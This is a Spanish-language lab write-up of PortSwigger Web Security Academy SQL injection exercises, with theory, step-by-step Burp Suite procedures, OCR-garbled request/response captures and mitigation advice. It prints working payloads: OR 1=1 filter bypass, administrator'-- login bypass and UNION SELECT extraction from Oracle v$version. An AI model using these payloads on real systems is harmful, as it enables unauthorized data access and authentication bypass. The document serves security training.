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Introduccion

En el presente documento se documenta de manera estructurada la resolucién del
topico SQL Injection, correspondiente a los laboratorios oficiales de PortSwigger
(Web Security Academy). El objetivo principal es desarrollar un portafolio técnico
profesional que demuestre la explotacion sistematica de vulnerabilidades de
inyeccion SQL, aplicando Burp Suite como herramienta principal para el analisis e
intercepcidn de peticiones web. A través de este analisis, se busca no solo ejecutar
las técnicas de explotacion, sino también comprender el impacto directo que estas
vulnerabilidades tienen sobre la seguridad de las aplicaciones web y fundamentar
las medidas de mitigacion pertinentes.

Marco Teorico

Funcionamiento de bases de datos relacionales:

Las bases de datos relacionales son sistemas disefiados para almacenar y organizar
informacién en tablas estructuradas, compuestas por filas y columnas. En el
contexto de las aplicaciones web modernas, el servidor backend interactua
continuamente con estas bases de datos para generar contenido dinamico.
Cuando un usuario realiza una accion en la interfaz web, la aplicacion construye y
envia instrucciones al motor de la base de datos para recuperar, insertar, actualizar
o eliminar registros especificos. Si estas instrucciones se construyen
concatenando directamente la entrada del usuario sin una validacion previa, se
abre la puerta a manipulaciones maliciosas de la estructura original de la consulta.

Consultas SQL basicas (SELECT, WHERE, UNION, etc.):

El Lenguaje de Consulta Estructurada (SQL) proporciona comandos especificos
para la manipulacion de datos. Comprender estos comandos es fundamental para
analizar como se altera su légica durante un ataque:

® SELECT: Es la instruccion principal utilizada para consultar y recuperar datos
especificos de una o varias tablas.

® WHERE: Se utiliza como una cldusula de filtrado para especificar las
condiciones que deben cumplir los registros para ser devueltos por la
consulta. Gran parte de las vulnerabilidades de inyeccion ocurren al
manipular las condiciones de esta clausula.

[ J

UNION: Es un operador que permite combinar los conjuntos de resultados
de dos 0 més sentencias SELECT en una Unica salida. Para que funcione, las
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consultas combinadas deben devolver el mismo numero de columnas y
tener tipos de datos compatibles.

®  UPDATE / INSERT / DELETE: Comandos empleados para modificar, agregar
o eliminar registros en la base de datos. Las inyecciones en estas sentencias
pueden resultar en alteraciones persistentes o pérdida accidental de
informacion.

¢Qué es SQL Injection?

La inyeccién SQL (SQLi) es una vulnerabilidad critica de seguridad web que
permite a un atacante interferir directamente con las consultas que una aplicacion
realiza a su base de datos. Esta falla se presenta cuando la aplicacion procesa la
entrada del usuario de manera insegura, permitiendo que un tercero altere la
sintaxis y la logica de la consulta original. Como resultado, un atacante puede
visualizar datos que normalmente no estarian accesibles , modificar informacién
existente e incluso, en escenarios severos, comprometer la infraestructura del
servidor subyacente.

Clasificacion de ataques SQLi:

® In-band (Union-based, Error-based): Esta categoria se caracteriza porque
el atacante utiliza el mismo canal de comunicacion tanto para inyectar el
codigo malicioso como para recuperar los resultados.

O Union-based: Se aprovecha el operador UNION para ejecutar
consultas SELECT adicionales elaboradas por el atacante, anexando
los resultados extraidos a la respuesta original que la aplicacién
devuelve al navegador.

O Error-based: Consiste en forzar deliberadamente a la base de datos a
generar mensajes de error verbosos. Si la aplicaciéon refleja estos
errores en su respuesta HTTP, el atacante puede utilizarlos para inferir
la estructura de la base de datos o extraer fragmentos de datos
confidenciales.

°

Blind (Boolean-based, Time-based): Las vulnerabilidades ciegas ocurren
cuando la aplicacidén es susceptible a la inyeccion, pero sus respuestas HTTP
no devuelven los resultados de la consulta SQL ni revelan detalles de errores
de la base de datos.
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Boolean-based (Respuestas condicionales): El atacante inyecta
condiciones légicas (Verdadero/Falso) y observa si existe alguna
diferencia sistematica en el comportamiento o en el contenido de la
respuesta de la aplicacion. Esto permite extraer informacion caracter
por caracter infiriendo la verdad de cada condicion inyectada.

Time-based (Retrasos de tiempo): Si la aplicacion maneja los errores y
no altera su respuesta, se inyectan comandos especificos de la base
de datos que provocan retrasos en el procesamiento. Midiendo el
tiempo que tarda el servidor en responder, se infiere si la condicién
inyectada resulto ser verdadera o falsa.

Out-of-band (OOB): Esta técnica se emplea en contextos donde las
consultas se procesan de forma asincrona o cuando las técnicas Blind
tradicionales no son efectivas. Consiste en inyectar cargas utiles que obligan
al servidor de la base de datos a generar una interaccion de red (tipicamente
mediante el protocolo DNS) hacia un dominio controlado por el atacante. A
través de este canal secundario, es posible confirmar la vulnerabilidad y
exfiltrar datos de manera directa.

Impacto en la confidencialidad, integridad y disponibilidad:
El impacto de un ataque SQLi afecta directamente los tres pilares de la seguridad
de la informacion:

Confidencialidad: Se vulnera al permitir el acceso no autorizado a datos
sensibles, resultando en la exposicidon de contraseinas, informacion personal,
detalles financieros y propiedad intelectual.

Integridad: Se compromete cuando el atacante logra ejecutar sentencias
que modifican, alteran o eliminan registros vitales de la base de datos,
causando dafnos persistentes en la [égica y el contenido de la aplicacion.

Disponibilidad: Se ve afectada ya que un atacante puede borrar tablas
completas, alterar los permisos de acceso o ejecutar comandos que
sobrecarguen el motor de la base de datos, culminando en ataques de
denegacion de servicio (DoS).
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Relacion con OWASP Top 10:

El proyecto OWASP (Open Worldwide Application Security Project) mantiene un
documento de concientizacion estandar que representa el consenso de la
industria sobre los riesgos de seguridad mas criticos en aplicaciones web. Las
vulnerabilidades de inyeccidén, encabezadas por SQL Injection, historicamente han
ocupado las primeras posiciones en este ranking debido a su prevalencia, facilidad
de explotacion y el impacto devastador que conllevan. Representan un fallo
fundamental en el disefo de la arquitectura de software al no separar
adecuadamente los comandos del intérprete de los datos provistos por el usuario.

Importancia en pruebas de penetracion:

En el ambito de la ciberseguridad ofensiva y las auditorias técnicas, identificar
fallos de inyeccion SQL es de maxima prioridad. Estos vectores de ataque han sido
el origen de multiples brechas de datos de alto perfil a nivel mundial. Durante una
prueba de penetracion, demostrar la existencia de esta vulnerabilidad evidencia un
riesgo sistémico; un atacante real podria obtener una puerta trasera persistente en
los servidores de la organizacion, resultando en un compromiso a largo plazo que
podria pasar desapercibido. Esto se traduce en severos dafos reputacionales,
pérdida de confianza y multas regulatorias millonarias.

Tipos de payloads:
Un payload es la cadena de caracteres especificamente disefiada que se inyecta en
el campo vulnerable para manipular la consulta. Los tipos mas comunes incluyen:

® cCaracteres de ruptura: El uso de la comilla simple (') es el método estandar
para romper la sintaxis de la cadena original y buscar anomalias o errores.

® cCondiciones Booleanas: Expresiones como OR 1=1 se utilizan para alterar
la l6gica de la consulta, forzando a que la condicion se evalle siempre como
verdadera.

°

Indicadores de comentario: Secuencias como el doble guion (--) o el
simbolo de hash (# en MySQL) se inyectan al final del payload para comentar
y anular el resto de la consulta SQL original de la aplicacién, evitando asi
errores de sintaxis.
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Comandos de retraso: Funciones propias del motor de base de datos como
WAITFOR DELAY (Microsoft SQL) o SLEEP (MySQL) utilizadas en
extracciones basadas en tiempo.

Cargas utiles OAST: Sintaxis diseflada para desencadenar interacciones de
red fuera de banda.

Principios de defensa:

La mitigacion fundamental y maés efectiva contra la inyeccion SQL es la
implementacién sistematica de consultas parametrizadas en lugar de utilizar la
concatenacion de cadenas. Este enfoque asegura que la base de datos trate la
entrada del usuario estrictamente como datos literales y no como codigo
ejecutable, neutralizando asi el ataque. Para aquellos escenarios estructurales
donde las consultas parametrizadas no pueden ser aplicadas (por ejemplo, al
definir dinamicamente el nombre de una tabla o una columna en una clausula
ORDER BY), se debe implementar un enfoque de listas de permitidos,
garantizando que solo se procesen valores de entrada estrictamente validados y
predefinidos.

Desarrollo Practico

1. SQL injection vulnerability in WHERE clause allowing retrieval of

hidden data

® Nivel: Apprentice

® Tipode SQLi: In-band (Basada en ldgica booleana)

Objetivo del laboratorio: El objetivo principal consiste en explotar una
vulnerabilidad en el mecanismo de filtrado de productos para evadir las
restricciones de la base de datos, logrando asi la visualizacién de articulos
del inventario que aun no han sido publicados o lanzados al mercado.

Explicacion técnica de la vulnerabilidad: Se identifica que el pardmetro category
de la aplicacion web es vulnerable a inyeccion de cédigo SQL. El sistema captura
el texto introducido por el usuario y lo inserta de manera directa en la instruccién
interna que consulta la base de datos. Al carecer de un proceso robusto de
sanitizacion o validacion de los datos entrantes, es posible introducir caracteres
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especiales que alteran la estructura de la consulta original. En términos
administrativos, esto significa que un atacante puede reescribir las reglas de
negocio que dictan qué informacion es publica, transformando una solicitud de
busqueda rutinaria en una orden directa para extraer datos corporativos
restringidos.

Procedimiento paso a paso:

1.

Se intercepta la peticion HTTP dirigida al servidor utilizando la herramienta Burp
Suite Proxy.

Se envia la peticion interceptada a la herramienta Burp Repeater para su analisis
iterativo.

Se localiza el parametro vulnerable, category, dentro de la cadena de consulta
de la solicitud GET.

Se inyecta una secuencia de caracteres légicos (payload) directamente en el
valor del parametro mencionado, alterando la instruccién prevista por el
sistema.

Se transmite la solicitud modificada al servidor para evaluar el comportamiento
y procesamiento de la base de datos.

Se analiza la respuesta devuelta por el servidor. Se constata la recepcion de un
codigo de estado 200 OK acompafado de un incremento significativo en el
volumen de los datos transferidos. Esto confirma de manera concluyente que la
base de datos ha devuelto la totalidad de los registros de la tabla de productos,
ignorando exitosamente los filtros de visibilidad programados.

Capturas de pantalla:

® Request interceptado
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®  Payload utilizado
Request
Pretty Raw Hex

(=]

GET ,v‘filter‘?categor‘y='+|DR+1=1-- HTTR/2

Cooklie: sessioreDOSS1NeVIhDdxATxyPApW4pmewBZrtCE
Sec-Ch-Ua: "Chromium";v="145", "Mot:A-Brand";w="23"
Sec-Ch-Ua-Mobile: 70

Sec-Ch-Ua-Flatform: "Linux"

Accept-Language: es-419 es; 0.9
Upgrade-Insecure-Requests: 1

[ 9 - N I ]

w o

Chromes145. 8. 8.0 Safari/537. 36
0 Accept:

Joadsu  gp

@ ~ N B

Host: 0a8af07d04a320298aacbdf 200470086, web-security-academy. net

User-Agent: Mozilla/5. 0 (X¥11;, Linux x86_64) AppleWebKit/537.38 (KHTML, Llike Gecko)

text /html, application/xhtml+xml, application/xml; =0, 9, image/avif, image/webp, 1mage/ apng

¥ /% oED. 8, applicationssigned-exchange; v=h3; 0. 7
Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

-

Accept-Encoding: gzip, deflate, br
Priority: uv=0, 1

:-.l i_T'| i_ﬂ .h i_l_l i’~._‘|

L i:l:l

® Respuesta vulnerable
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=B o

Request

Cancel <] > * BurpAl

Pretty Raw Hex 2B n =
GET /filter?category='+0R+1=1-- HTTP/2

Host: 0a6a007d042320398aaebdf 800470086, web-security-acadeny. nat

Cookie: sessior=DOSSLNeVLhDdxATxyPApN4pmewBZrtCE

Sec-Ch-Ua: “Chromium";v="145", “Not:A-Brand";="93"

Sec-Ch-Ua-Mobile: 70

Sec-Ch-Ua-Platform: “Linux"

Accept-Language: es-419, es; 70,9

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleNebKit/537.36 (KHTML, like Gecka)

Chrome/145.0.0.0 Safari/537.36

Accept:

text html, spplication/xhtml+xml, spplication/xml; =0. 9, inage/avif, inage/webp, image/apng

,%/*; q=0. 8, appl ication/signed-exchange; v=b3; ¢=0.7

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fatch-Dest: document

Referer: https: //0262007d04a320398aachdf 800d70086. web-security-academy. net/

Accept-Encoding: gzip, deflate, br

Priority: =0, i

o LwoNOWsON e
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®  Confirmacién de "Lab Solved”

Web Security
Academy %!

hidden data

Bac

Congratulations, you solved the lab!

WE LIKE TO

SHOP HH

Refine your search:

All Accessories Food & Drink Gifts Pets

Response

Pretty
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15
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20
21

22
23
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SQL injection vulnerability in WHERE clause allowing retrieval of

Target: https://0a62007d04a320398aaebd

a-=
= 8

Raw Hex Render

HTTP/2 200 OK
Content-Type: text/html;
X-Frame-Options: SAMEORIGIN
Content-Length: 11537

charset=utf-8

<1DOCTYPE html>
<html>

<1--LAB_HEAD_START-->
<heads>
<link href=/resources/labheader/css/academyLabHeader. css rel=styleshest>
<link href=/resources/css/labsEcommerce. css rel=styleshest>
<title> %
SOL injection vulnerability in WHERE clause allowing' retrieval of
hidden data

</title>

</head>

<!--LAB_HEAD_END-->

<body=
<script src="/resources/labheader/js/labHeader. js">
</script>

<!--LAB_HEADER_START-->
<div id="academyLabHeader">
<section class='academylabBanner'>
<div class=container>
<div class=logo>

<fdiv=
<div class=title-container>
<h2>
SOL injection vulnerability in WHERE clause
Search »

LR

Share your skills!

v 0

Continue learning

Home

Snow Delivered To Your Door

' & & & ¢ W
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High-End Gift Wrapping

Conversation Controlling Lemon

w

Ohighlights
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Explicacion del payload:
® Payload utilizado: ‘+OR+1=1--
Analisis: Esta cadena de caracteres esta disefiada con el propdsito especifico de

manipular la sintaxis de la base de datos:

® La comilla simple (') tiene la funcion de cerrar prematuramente el campo de

texto que el sistema habia abierto para recibir el nombre legitimo de la
categoria.

La instruccion logica OR 1=1 introduce una condicion de evaluacion
matematica que siempre resulta verdadera. En el contexto operativo, esto
ordena a la base de datos que devuelva un registro si pertenece a la
categoria indicada "O" (OR) si el numero 1 es igual al numero 1. Al ser esta
ultima una verdad universal, el sistema aprueba la visualizacion de todos los
registros existentes en la tabla de productos.

Los caracteres de doble guion (--) actian como un comando de comentario
en el lenguaje SQL. Su objetivo es neutralizar y ordenar al sistema que
ignore el resto del codigo programado por los desarrolladores (la regla
restrictiva AND released = 1 que mantenia los productos ocultos).

Los signos de suma (+) se emplean para representar espacios en blanco
dentro del formato de la URL, asegurando que el servidor web interprete la
instruccion con la separacién correcta.

Mitigacion recomendada:

Para erradicar esta vulnerabilidad, se requiere abandonar la practica de concatenar
texto dindmico en las consultas a la base de datos. Se recomienda
encarecidamente la implementacion de Consultas Parametrizadas en la
arquitectura del codigo fuente, en estricto cumplimiento con las directrices de
seguridad de OWASP. Esta estrategia defensiva garantiza que el motor de la base
de datos procese cualquier entrada del usuario exclusivamente como un valor de
texto inofensivo, eliminando cualquier posibilidad de que dicha informacion sea
interpretada y ejecutada como comandos de control del sistema.
Complementariamente, se aconseja aplicar listas de control de acceso para validar
que unicamente se procesen las categorias de productos previamente autorizadas
por el negocio.

2. SQL injection vulnerability allowing login bypass

® Nivel: Apprentice
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Tipo de SQLi: In-band (Evasidon de Autenticacion / Logic Bypass)

Objetivo del laboratorio: Acceder a la aplicacién web obteniendo los
privilegios del usuario administrador, evadiendo por completo el mecanismo
de validacion de contrasenas.

Explicacion técnica de la vulnerabilidad:

Se identifica una vulnerabilidad de severidad critica en la funcién de inicio de
sesion de la aplicacion web. El parametro de entrada correspondiente al nombre
de usuario (username) carece de mecanismos de sanitizacion y validacion antes de
ser concatenado y procesado por el motor de la base de datos.

En términos ejecutivos, el sistema confia de manera implicita en la informacion
ingresada en el formulario y la interpreta directamente como instrucciones de
sistema. Esto hace posible que un agente externo introduzca caracteres especiales
para alterar la regla légica de validacion original. En lugar de que el sistema
verifique simultaneamente la existencia del usuario y la exactitud de su contrasena,
la alteracion obliga a la base de datos a comprobar Unicamente la existencia del
usuario, anulando el requisito de la contrasefna y permitiendo el acceso no
autorizado.

Procedimiento paso a paso:

1. Se intercepta la peticion HTTP de tipo POST dirigida a la ruta de autenticacion
del servidor utilizando la herramienta de intercepcion Burp Suite Proxy.

2. Se envia la peticion interceptada a la herramienta Burp Repeater para facilitar
un analisis iterativo e inyeccién controlada de datos.

3. Se localiza el parametro username dentro del cuerpo de la peticion y se
sustituye su valor estandar por un vector de ataque (inyeccion SQL) disefado
especificamente para truncar la consulta del servidor.

4. Se asigna un valor arbitrario al pardametro password, dado que la logica de

validacion de este campo sera evadida.

Se transmite la peticion manipulada al servidor web.

6. Se analiza la respuesta del servidor, observando la recepcion de un cddigo de
estado HTTP/2 302 Found junto con la asignacion de un token de sesion valido
para el perfil de administrador. Este comportamiento confirma que el sistema ha
autorizado el acceso sin requerir las credenciales legitimas completas.

o

Capturas de pantalla:
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® Request interceptado

Burp  Project Intruder Repeater View Help
Dashboard Target Proxy ®  Intruder Repeater Collaborator Sequencer
Intercept ®  HTTPhistory WebSackets history Match and replace {8 Proxysettings

Decoder

Burp Suite Community Edition v2026.1.5 - Temporary Project

Comparer Logger Organizer Extensions Discover

> Forvard | v orep v Request o htps: 082300103 2361278726247: ]
Time Type  Direction Method URL
12:49:312Mar... HTTP 3 Request GET https://0a2a00f203235127872e247200ed 0040, web-security-scademy. net/academyLabHeader
12:50:002Mar... HITP 3 Request POST https://0a2200f2032351278720247200ed0040. web-security-academy.net/login
Request
Pretty Raw Hex no=
1 POST /login HTTP/2
2 Host: 0a2a00f2032351278722472002d0040. web-security-academy. net
3 Cookie: sessioreSptInoSF9mZhuRkYISponsgkFZjIPHhw
4 Content-Length: 65
S Cache-Control: max-age=0
& Sec-Ch-Ua: "Chromium";v="145", "Not:A-Brand";v="93"
7 Sec-Ch-Ua-Mobile: 70
2 Sec-Ch-Ua-Flatform:

w

Accept-Language: es-419, es; ¢=0.9
10 Origin: https: //0a2a00f20323512787222472002d0040. web-security-academy. net
11 Content-Tvoe: aoolication/x-www-form-urlencoded

A8 ¢ »

Search

®  Payload utilizado

Cancel Follow redirection

=B o

Request

* BurpAl

Raw Hex

Pretty

POST /login HTTP/2
Host: 0a2a00f20323512768722247200ed0040. web-security-academy. net
Cookie: sessioreSptIooSFImZhuRkYISponsgkFZj IPHhw
Content-Length: 77
Cache-Control: max-age=d
Sec-Ch-Ua: "Chromium";v="145",
Sec-Ch-Ua-Mobile: 70
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: es-419, es; =0. 9
Origin: https: //0a2200f 2032351278722247200ed0040. web-security-acadeamy. net
11 Content-Type: application/x-www-form-urlencoded
2 Upgrade-Insecure-Requests: 1
13 User-Agent: Mozilla/5.0 (X11; Linux xB6_64) AppleWebKit/S37.36 (KHTHL, Llike Gecko)
Chrome/145. 0.0.0 Safari/S37.36
14 Accept:
text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, image/webp, image/apng
,*/*%, q=0. B, appl ication/signed-exchange; v=b3; ¢=0. 7
15 Sec-Fetch-Site: same-origin
16 Sec-Fetch-Mode: navigate
17 Sec-Fetch-User: 71
18 Sec-Fetch-Dest: document
19 Referer: https://0a2a00f20323512787222472002d0040. web-security-academy. net /Login
20 Accept-Encoding: gzip, deflate, br
21 Priority: =0, i

Mo

o ew

"Not: A-Brand"; v="93"

~

-
Bwn

22 csrf=MnE2m3mpQEvKIGIFDkvRTwIl xBYEErTO&uUsername=administ rator' - —hpasswor‘t# test

Search o

A8 ¢ »

Ohighlights
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Target: https://0a2a00f20323512787ael

Response

Pretty Raw Hex

Render k

Location: /my-sccount?id=administrator

Set-Cookie: sessiorevDOWrhOFEjsithsuSdeSURUMDCKUSEGS; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN

Content -Length: ©

HTTP/2 302 Found

woe W

~ @

Search 0

A& ¢ >
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® Respuesta vulnerable

&  Gancel < > Follow redirection + BurpAl Target: https://0a2a00f20323512787aei
Request Response a:==

Pretty Raw Hex 2B n = Py Raw Hex Render Q 2@ n =

HTTP/2 302 Found
Location: /my-account?ickadministrator
Set-Cookie: sessiorevDOWrhOFEjsithsuSdeSUhUnDCKUStGS; Securs; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: @

POST /login HTTP/2

Host: 0a2a00f20323512787222472002d0040. web-security-academy. net

Cookie: session=SptIooSFImZhuRkYISponsakFzjIPHhW

Content-Length: 77

Cache-Control: max-age=0

Sec-Ch-Ua: "Chromium";v="145", "Not:A-Brand";v="99"

Sec-Ch-Ua-Mobile: 70

Sec-Ch-Ua-Flatform: "Linux"

Accept-Language: es-419, es; ¢=0. 9

10 Origin: https://0a2a00f 20323512787222472002d0040. web-security-academy. net

11 Content-Type: application/x-www-form-urlencoded

12 Upgrade-Insecure-Requests: 1

12 User-Agent: Mozilla/5.0 (X11; Linux xB6_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/145.0.0.0 Safari/537.36

14 Accept:
text /html, application/xhtnl+xml, application/xml; q=0.9, image/avif, image/webp, image/apng
%% =0, 8, applicat ion/signed-exchangs; v=b3; q=0. 7

15 Sec-Fetch-Site: same-origin

16 Sec-Fetch-Mode: navigate

17 Sec-Fetch-User: 71

12 Sec-Fetch-Dest: document

19 Referer: https: //0a2a00f2032351278722247200ed0040. web-security-academy. net/login

20 Accept-Encoding: gzip, deflate, br

21 Priority: =0, i

2

22 esrf=MnE2m3mpQEVKIGIFDkvR7w31 xBYEE rTO&uU: dministrator'- '; d=test

I R RN
NE U R W

w

@& € > | search 2| ohighlights (@) & € > | search £ | ohighlights

®  Confirmacién de "Lab Solved”

Web Security SQL injection vulnerability allqwing login bypass

Academy Ft- l Back to lab description

ongratulations, you solved the lab! Share your skills! [  Continue learning »

Home | My account | Log out

My Account

Your username is: administrator

Email

ate email

Explicacion del payload:

®  Ppayload utilizado: administrator'--
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®  Analisis: El éxito de esta intrusién radica en la manipulacion de la estructura

l6gica de la consulta SQL subyacente (especificamente en la clausula

WHERE).

® La comilla simple (') actia como un caracter de escape y delimitador.

Su funcidn técnica es indicarle a la base de datos que la cadena de texto
correspondiente al nombre de usuario ha finalizado prematuramente.

® El doble guion ( -- ) es el operador estandar reconocido por multiples
motores de bases de datos relacionales para marcar el inicio de un
comentario.

[ J

Al concatenar ambos elementos, la instruccion original del sistema es
seccionada. La base de datos ejecuta de manera exitosa la instruccion
de buscar al usuario "administrator”, mientras que el resto del cédigo
original programado por los desarrolladores (la seccién encargada de
comparar la contraseia) queda convertida en un comentario inofensivo,
siendo ignorada de forma absoluta por el servidor.

Mitigacion recomendada:

Para erradicar esta vulnerabilidad y alinear la arquitectura del software con los
estandares de seguridad de la industria (OWASP), se requiere abandonar el uso de
concatenacion dinamica de cadenas para construir consultas a la base de datos.
La principal defensa técnica consiste en la implementacion obligatoria de
Consultas Preparadas o consultas parametrizadas.

Esta técnica asegura, a nivel de compilacion, que la base de datos trate cualquier
entrada del usuario estrictamente como datos literales y en ningun caso como
codigo ejecutable. Adicionalmente, como medida de defensa en profundidad, se
recomienda implementar una validacion de entradas estricta mediante el uso de
listas blanca, asegurando que el sistema rechace automaticamente cualquier
peticion que contenga caracteres especiales no esperados en los campos de
autenticacion.

3. SQL injection attack, querying the database type and version on
Oracle

®  Nivel: Practitioner

®  Tipode SQLi: In-band (UNION-based)

Road To Hall of Fame (SQL Injection) 14



Objetivo del laboratorio: Determinar la version exacta y la edicion del motor
de base de datos Oracle subyacente de la aplicacion web, extrayendo dicha
informacién confidencial hacia la interfaz de usuario mediante la alteracion
de la consulta original.

Explicacion técnica de la vulnerabilidad:

La vulnerabilidad reside en el parametro category perteneciente a la funcionalidad
de filtrado de productos. La aplicacion procesa el texto introducido en dicho
pardametro y lo concatena directamente en la consulta a la base de datos sin
aplicar rutinas de sanitizacion o validacién de seguridad. Esta falla arquitectonica
permite que un usuario malintencionado introduzca caracteres especiales para
cerrar prematuramente la instruccion original e inyectar comandos de bases de
datos adicionales. Al procesarse, el sistema interpreta la carga util maliciosa como
una instruccion legitima, forzando a la base de datos a revelar informacidn interna
de su infraestructura en lugar del catalogo de productos previsto.

Procedimiento paso a paso:

1. Se intercepta la peticion HTTP dirigida al servidor utilizando Burp Suite Proxy,
capturando el tréfico en tiempo real antes de que alcance su destino.

2. Se envia la peticion interceptada a la herramienta Burp Repeater para su analisis
iterativo y manipulacion aislada.

3. Se ejecuta una fase de reconocimiento inyectando valores nulos para deducir la
estructura de la tabla de la base de datos. Debido a los requisitos estructurales
del motor Oracle, se emplea la tabla virtual del sistema denominada DUAL.

4. Se determina que la consulta legitima devuelve exactamente dos columnas al
obtener una respuesta HTTP 200 (Exitosa) tras inyectar la sentencia de
seleccion de dos elementos nulos.

5. Se verifica la compatibilidad de los tipos de datos insertando caracteres
alfabéticos simples en ambas columnas, confirmando que el sistema tiene la

capacidad de procesar y mostrar cadenas de texto.

Road To Hall of Fame (SQL Injection) 15



6. Se construye y ejecuta la carga util (payload) final dirigida a la vista del sistema
v$version, un repositorio interno de Oracle que custodia los metadatos de la
infraestructura.

7. Se inspecciona el codigo fuente de la respuesta del servidor, verificando la
extraccion y renderizado exitoso de la cadena de texto que expone la version
completa de Oracle Database.

Capturas de pantalla:
°

Reconocimiento, se obtiene que son dos columnas

Burp Project Intruder Repeater View Help Burp Suite Community Edition v2026.1.5 - Temporary Project
Dashboard Target Proxy *® ntruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Discove:
3 “ 5 6 TR <+
Ele o < v % BurpAl Target: https://0abd00 503569135804 40
Request Response Q==
Pretty Raw Hex = w = Protty Raw Hex Render n n =
1 GET /filter?category=' UNION SELECT NULL, NULL FROM DUAL--| HTTP/2 1 HTTP/2 200 OK
2 Host: 0abd00eS035f913580d408dd00S000bS. web-security-academy. net 2 Content-Type: text/htal; charset=utf-8
3 Cookie: session=HnlMHAKF rGnlgzAKgbBMpavOHUXBRIMM 3 X-Frame-Options: SAMEORIGIN
4 Sec-Ch-Ua: “Chromium“; v="145", "Not:A-Brand";v="99" 4 Content-Length: 4260
5 Sec-Ch-Ua-Mobile: 70
5 Sec-Ch-Ua-Platform: “Linux® 5 <IDOCTYPE html>
7 Accept-Language: es-419, es;q=0.9 7 <html>
3 Upgrade-Insecure-Requests: 1 3 <1--LAB_HEAD_START- ->
) User-Agent: Mozilla/5.0 (X11; Linux xB6_64) ApplewebKit/537.36 (KHTML, like Gecko) <head>
Chrome/145.0.0.0 Safari/537.36 1 <link href=/resources/labheader/css/acadenylabHeader. css rel=stylesheet>
10 Accept 1 <link href=/resources/css/labsEconmerce. css rel=stylesheet>
text/html, application/xhtml+xml, spplication/xml; g=0. 9, image/avif, inage/webp, 1mage/apng 12 <title>
,*/*, 0.8, application/signed-exchange; v=b3; 0.7 SQL imjection attack, querying the database type and version on Oracle
1 Sec-Fetch-Site: same-origin </title>
Sec-Fetch-Mode: navigate 13 </head>
3 Sec-Fetch-User: 71 14 <1 --LAB_HEAD_END- ->
14 Sec-Fetch-Dest: document 15 <bodly>
15 Referer: https://0abd00e5035f913580c/408cld00S000bS. web-security-acadeny. net/ 1 ript srcw"/resources/labheader/js/labHeader. js">

Accept -Encoding: gzip, deflate, br </script>
Priority: w0, i 1 <1--LAB_HEADER_START-
18 <div id="academylLabHeader®*>
15 <section class='academylabBanner'>
<div class=container>
<div class=logo>
</div>
<div class=title-container>
<h2>
SQL injection attack, querying the database type
and version on Oracle

O € >  sex P| ohighlights (D& € > | Search £ |  Ohighlights

® Determinando las columnas que aceptan texto
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Burp Project Intruder Repester View Help Burp Suite Community Edition v2026.1.5 - Temporary Project
Dashboard Target Proxy ®  Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Discover
1 2 3 4 s 6 200 +
®  cancel < v ¢ BurpAl Target: https.//0abd00e50 359 13580d 408 dc
Request Response Q== Ins
Pretty Raw Hex R B@ v = Pretty Raw Hex Render \ QRO "= R
1 GET /filter?category=| UNION SELECT 'a', 'b' FROM DUAL-- HTTP/2 A e Rt
2 Host: Oabdol fo1 i 1 0b5. veb ity-academy, net 24 <a ide'lab-link' class='button’ hrefs'/'> Rec
3 Cookie: HALMHAKF rGiL Back to lab home
4 Sec-Ch-Ua: “Chromium*;v="145" “Not:A-Brand";v="99" </a> o
S Sec-Ch-Ua-Mobile: 70 > <p id="hint"> -
& Sec-Ch-Ua-Platform: “Linux" Make the datsbase retrieve the strings: 'Oracle
7 Accept-Language: es-419, es qe0.9 Database 11g Express Edition Release 11.2.0.2.0 - Rec
8 Upgrade-Insecure-Requests: 1 64bit Production, PL/SQL Release 11.2.0.2.0 -
9 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Production, CORE 11.2.0.2.0 Production, TNS
Chrome/145.0,0.0 Safari/537.36 for Linux: Version 11.2.0.2.0 - Production, NLSRTL Rec
10 Accept Version 11.2.0.2.0 - Production’
text/html, application/xhtal+xml, application/xml; ¢=0. 9, image/avif, image/webp, 1mage/zpng </p>
\*/*%; q=0. 8, applicat ion/signed-exchange; v=b3; =0.7 2% <a class=link-back href=' -
11 Sac-Fetch-Site: same-origin https: //portswigger. net /web-security/sql -injection/exami
12 ¢ navigate ning-the-database/lab-querying-database-version-oracle'>
13 Sec-Fetch-User: ?1 27 Backénbsp; to&nbsp; 1abénbsp; descriptionénbsp;
14 Sec-Fetch-Dest: document . 28 <svg versior=l.1 id=Layer_l xmlns="'
5 Raferer: https://Oabdl fo1 d k b ity =] net/ http: //www. v3. org/2000/svg’ xmlns: xlink="'
16 Accept-Encoding: gzip, deflate, br http: //www. w3.0rg/1999/xlink' x=0Opx y=Opx viewBox='
17 Priority: w0, i 00 28 30' enable-background='nev 0 0 28 30'
18 xml: space=preserve title=back-arrow>
19 <g>
<polygon points='1.4,0 0,1.2 12.6,15
0,28.8 1.4,30 15.1,15'>
</polygon>
a1 <polygon points='14.3,0 12.9,1.2 25.6,15
12.9,28.8 14.3,30 28,15'>
</polygon>
20 </o>
O € >  sech £ otighlght: D € >  search £|  ohighlights
Done
Request Response a:= =
Pretty Raw Hex 2B " = ety Raw Hex Render 8 S W =
1 GET /filter?category=' UNION SELECT banner, NULL FROM v$version-- HTTP/2
2 Host: 0abd00e5035f913580d408dd005000bS. web-security-academy. net
3 Cookie: session=HrLMHAKF rGrUgzAKgbSMpgvOHUXEmIMM
4 Sec-Ch-Ua: "Chromium";v="145", "Not:A-Brand";v="95"
5 Sec-Ch-Ua-Mobile: 70 '
3| e e e UNION SELECT banner, NULL FROM
7 Accept-Language: es-419,es; 0.9 $ _—
@ Upgrode-noscure-Raauests. 1 VOVErsion
9 User-Agent: Mozilla/S.0 (X11; Linux x36_64) AppleWebKit/S37.36 (KHTML, like Gecko)
Chrome/145. 0.0.0 Safari/537.36
10 Accept:
text /html, application/xhtml+xnl, application/xnl; o=0.9, inage/avif, image/webp, inage/apng .
